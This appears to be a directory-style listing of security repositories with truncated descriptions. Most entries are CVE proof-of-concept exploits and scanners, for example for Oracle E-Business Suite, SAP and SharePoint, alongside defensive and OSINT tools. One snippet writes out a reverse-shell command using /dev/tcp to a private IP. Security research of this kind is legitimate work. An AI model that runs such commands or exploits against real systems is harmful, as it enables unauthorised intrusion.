CVE-2026-25126

CVE-2026-25126: PolarLearn Vote Count Manipulation Research: Joshua van Rijswijk Description PoC for CVE-2026-25126 , a high-severity business logic vulnerability in the PolarLearn forum voting API. The endpoint POST /api/v1/forum/vote fails to enforce strict runtime validation of the direction...

CVE-2023-47253

CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', Proof of Concept POC Just access the URL with your PHP code in "gridValoresPopHidden" parameter. Researches h...

CVE-2020-6308

CVE-2020-6308 Exploit script for SAP Business Objects SSRF This is a simple Golang script to automate the exploitation of CVE-2020-6308. The original Github repo did not show any automation https://github.com/InitRoot/CVE-2020-6308-PoC , thanks @InitRoot, so this was made in an effort to help...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Detection Artifact Generator for Oracle E-Business Suite CVE-2025-61882 See our blog post for technical details Detection in Action python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&...

Awesome-BEC

Awesome-BEC Repository of attack and defensive information for Business Email Compromise investigations Office365/AzureAD ATT&CK O365 ATT&CK Azure Microsoft Azure Threat Research Matrix Microsoft 365 Licensing Microsoft Portals Azure App IDs Microsoft First Party App IDs & Graph Permissions...

trappsec

trappsec trappsec is an open-source framework that helps developers detect attackers who probe API business logic. By embedding realistic decoy routes and honey fields that are difficult to distinguish from real API constructs, attackers are nudged to authenticate — converting reconnaissance into...

Blackash-CVE-2025-61884

CVE-2025-61884 New Oracle E-Business Suite Bug Could Let Hackers Access Data Without Login 💀 CVE-2025-61884 — Complete summary 🧾💥 Field| Details ---|--- Identifier| CVE-2025-61884 Product| Oracle E-Business Suite — Oracle Configurator Runtime UI Affected versions| 12.2.3 → 12.2.14 Attack vector|...

Carnivore

Released as open source by NCC Group Plc - https://www.nccgroup.com/ Developed by Chris Nevin, [email protected] https://www.github.com/nccgroup/carnivore Released under the AGPL license https://www.github.com/nccgroup/carnivore/license Carnivore - V.1.0.4 Microsoft External Assessment Tool...

CVE-2024-30896

CVE-2024-30896 Summary A business logic flaw in influxdb allows users who own a valid allAccess token to escalate their privileges at operator level by listing current authorization tokens. Scenario Attacker might be a user which was gained access by an administrator via an allAccess token only...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Detects Oracle E-Business Suite CVE-2025-61882. Detection: multi-tier checks — fingerprinting, version checks, endpoint & SSRF tests, timing analysis & controlled exploitation 4 high-confidence results. Default = safe fingerprinting only. Set aggressive=true 2...

CVE-2024-4443-Poc

CVE-2024-4443-Poc CVE-2024-4443 Business Directory Plugin – Easy Listing Directories for WordPress execute \business-directory-plugin\includes\helpers\class-listing-search.php:88 WPBDPListingSearch-traversetree \business-directory-plugin\includes\helpers\class-listing-search.php:185...

coeus-ci

Coeus CI Competitive Intelligence that sees all. Named after Coeus SEE-us, the 100 eyed Greek Titan of the inquisitive mind — whose name literally means "querying." CI stands for Competitive Intelligence. A business intelligence OSINT tool that builds company profiles from free public data source...

tirreno

tirreno tirreno is open security analytics. tirreno tir.ˈrɛ.no helps understand, monitor, and protect your applications from cyber threats, account takeovers, bots, and abuse. While classic cybersecurity focuses on infrastructure and network perimeter, most breaches occur through compromised...

riscy-business

riscy-business Article:RISC-Y Business: Raging against the reduced machine. Prerequisites Visual Studio 2022 with the C++ Clang Compiler for Windows 16.0.5 component CMake 3.26 earlier may work, but not recommended riscvm This folder contains the VM host rv64i interpreter. To build: cd riscvm cma...

CVE-2026-63520

CVE-2026-63520 Sharepoint unsafe type RCE + CVE-2026-55040 chain Unauthenticated RCE on Microsoft SharePoint Server. No credentials needed. Stephen Fewer Rapid7 demonstrated CVE-2026-55040 at Pwn2Own Berlin 2026. Rapid7 then discovered CVE-2026-63520 during follow-up research, and VulnCheck...

CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit

CVE-2025-61882 - Oracle E-Business Suite Pre-Auth RCE Exploit A critical pre-authentication Remote Code Execution RCE flaw in Oracle E-Business Suite versions 12.2.3–12.2.14 allows attackers to gain full control over vulnerable servers via malicious HTTP requests — now actively exploited in the...

-LogicSentry-AI

LogicSentry AI LogicSentry AI is a deterministic, offline application security triage engine designed to run entirely inside your local runtime environment. It combines static application security testing SAST and dynamic application security testing DAST to isolate critical business logic...

CVE-2025-61882

Oracle E-Business Suite RCE Scanner CVE-2025-61882 A fast, multi-threaded bulk scanner for detecting CVE-2025-61882 in Oracle E-Business Suite installations. This critical vulnerability allows unauthenticated remote code execution. 🎯 Features Bulk Scanning - Process hundreds or thousands of...

msprobe

msprobe About Installing Usage Examples Coming Soon Acknowledgements About Finding all things on-prem Microsoft for password spraying and enumeration. The tool will used a list of common subdomains associated with your target apex domain to attempt to discover valid instances of on-prem Microsoft...

osi.ig

Open Source Information Instagram so recently ig started sending html response insted of json to "unknown" requests. i REALLY wanted this to work without login since i don't use ig anymore, tried few ways i knew to get it working without login but it didn't work :/ anyways since lot of people are...